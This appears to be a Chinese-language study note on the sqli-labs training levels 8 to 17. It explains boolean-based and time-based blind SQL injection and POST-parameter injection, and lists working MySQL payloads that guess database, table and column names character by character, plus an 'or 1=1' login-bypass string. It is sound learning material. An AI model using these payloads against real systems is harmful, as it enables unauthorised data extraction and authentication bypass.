1. 程式人生 > 其它 >sql-lab 8-17 盲注加post傳參

sql-lab 8-17 盲注加post傳參

布林型盲注
length() 函式 返回字串的長度
?id=1' and (length(database()))=8 -- qwe
substr() 擷取字串 (語法:SUBSTR(str,pos,len);)
?id=1' and (ascii(substr(database(),1,1)))=115-- qwe 返回正常,說明資料庫名稱第一位是s
?id=1' and (ascii(substr(database(),2,1)))=101-- qwe 返回正常,說明資料庫名稱第二位是e
security
ascii() 返回字元的ascii碼 [將字元變為數字wei]
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101-- qwe 如果返回正常,說明資料庫表名的第一個的第一位是e
users
and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- qwe 如果返回正常,說明emails表中的列名稱第一位是i
時間型
sleep() 將程式掛起一段時間n為n秒

if(expr1,expr2,expr3) 判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句

?id=1' and if (length(database())=8,sleep(5),1) -- qwe
?id=1' and if ((ascii(substr(database(),1,1))=115),sleep(5),1) -- qwe 延時,說明資料庫名稱第一位是s
?id=1' and if ((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- qwe 延時,說明資料庫表名的第一個的第一位是e
?id=1' and if ((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- qwe 如果返回正常,說明emails表中的列名稱第一位是i
admin ' or 1=1 # 萬能密碼
admin' and (length(database()))=8 #
admin') and (length(database()))=8 #
admin' and (length(database()))=8 #
admin' and if (length(database())=8,sleep(5),1) #